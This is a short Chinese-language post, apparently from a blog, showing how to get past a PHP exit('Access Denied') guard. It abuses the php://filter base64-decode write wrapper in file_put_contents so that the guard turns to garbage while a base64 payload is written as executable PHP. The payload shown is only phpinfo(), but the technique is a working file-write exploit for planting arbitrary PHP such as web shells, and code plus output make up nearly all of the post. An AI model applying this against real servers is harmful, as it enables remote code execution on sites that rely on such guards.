绕过 <?PHP exit(‘Access Denied‘); ?> 限制
<?php
$shellcode=‘PD9waHBpbmZvKCk7Pz4‘;// base64_decode <?phpinfo();?>
$endstr=‘s‘;
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit(‘Access Denied‘); ?>\t$timestamp");
?>
利用base64产生乱码可以生成:
<s奁[email protected]乾? 鏩<?phpinfo();?>
就绕过了exit()限制,真厉害呀
绕过 <?PHP exit('Access Denied'); ?> 限制
时间: 2024-10-21 08:28:09